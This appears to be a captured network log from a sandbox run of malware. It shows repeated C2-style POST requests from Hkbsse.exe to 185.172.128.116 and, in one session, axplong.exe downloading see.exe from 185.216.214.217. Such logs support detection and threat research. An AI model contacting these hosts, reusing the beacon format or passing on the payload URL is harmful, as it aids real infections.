Jul 13, 2024 07:08:06.361072063 CEST	311	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Jul 13, 2024 07:08:06.553273916 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:08:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.5	59041	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:08:06.673876047 CEST	157	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 13, 2024 07:08:07.332196951 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:08:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 13, 2024 07:08:07.336642981 CEST	311	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Jul 13, 2024 07:08:07.533489943 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:08:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.5	59042	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:08:07.663569927 CEST	157	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 13, 2024 07:08:08.556297064 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:08:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 13, 2024 07:08:08.556611061 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:08:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 13, 2024 07:08:08.557404041 CEST	311	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Jul 13, 2024 07:08:08.752182007 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:08:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.5	59043	185.216.214.217	80	6360	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:08:07.884906054 CEST	62	OUT	GET /cdn-directory/see.exe HTTP/1.1 Host: 185.216.214.217

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.5	59044	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:08:08.861418009 CEST	157	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 13, 2024 07:08:09.500039101 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:08:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 13, 2024 07:08:09.501352072 CEST	311	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Jul 13, 2024 07:08:09.692513943 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:08:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.5	59045	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:08:09.814764023 CEST	157	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 13, 2024 07:08:10.454303980 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:08:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 13, 2024 07:08:10.455308914 CEST	311	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Jul 13, 2024 07:08:10.646157980 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:08:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.5	59046	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:08:10.770085096 CEST	157	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 13, 2024 07:08:11.406197071 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:08:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 13, 2024 07:08:11.408524036 CEST	311	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Jul 13, 2024 07:08:11.779352903 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:08:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.5	59047	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:08:11.894479036 CEST	157	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 13, 2024 07:08:12.539943933 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:08:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 13, 2024 07:08:12.541497946 CEST	311	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Jul 13, 2024 07:08:12.738663912 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:08:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.5	59048	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:08:12.861882925 CEST	157	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 13, 2024 07:08:13.513518095 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:08:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 13, 2024 07:08:13.514918089 CEST	311	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Jul 13, 2024 07:08:13.707487106 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:08:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.5	59049	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:08:13.836572886 CEST	157	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 13, 2024 07:08:14.497123003 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:08:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 13, 2024 07:08:14.498358965 CEST	311	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Jul 13, 2024 07:08:14.692672014 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:08:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.5	59050	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:08:14.814280033 CEST	157	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 13, 2024 07:08:15.459012032 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:08:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 13, 2024 07:08:15.461884022 CEST	311	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Jul 13, 2024 07:08:15.936157942 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:08:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Jul 13, 2024 07:08:15.936427116 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:08:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.5	59051	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:08:16.048362017 CEST	157	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 13, 2024 07:08:16.704828024 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:08:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 13, 2024 07:08:16.706048965 CEST	311	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Jul 13, 2024 07:08:16.900558949 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:08:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.5	59052	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:08:17.023246050 CEST	157	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 13, 2024 07:08:17.683183908 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:08:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 13, 2024 07:08:17.688515902 CEST	311	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Jul 13, 2024 07:08:17.890700102 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:08:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.5	59053	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:08:18.005211115 CEST	157	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 13, 2024 07:08:18.638343096 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:08:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
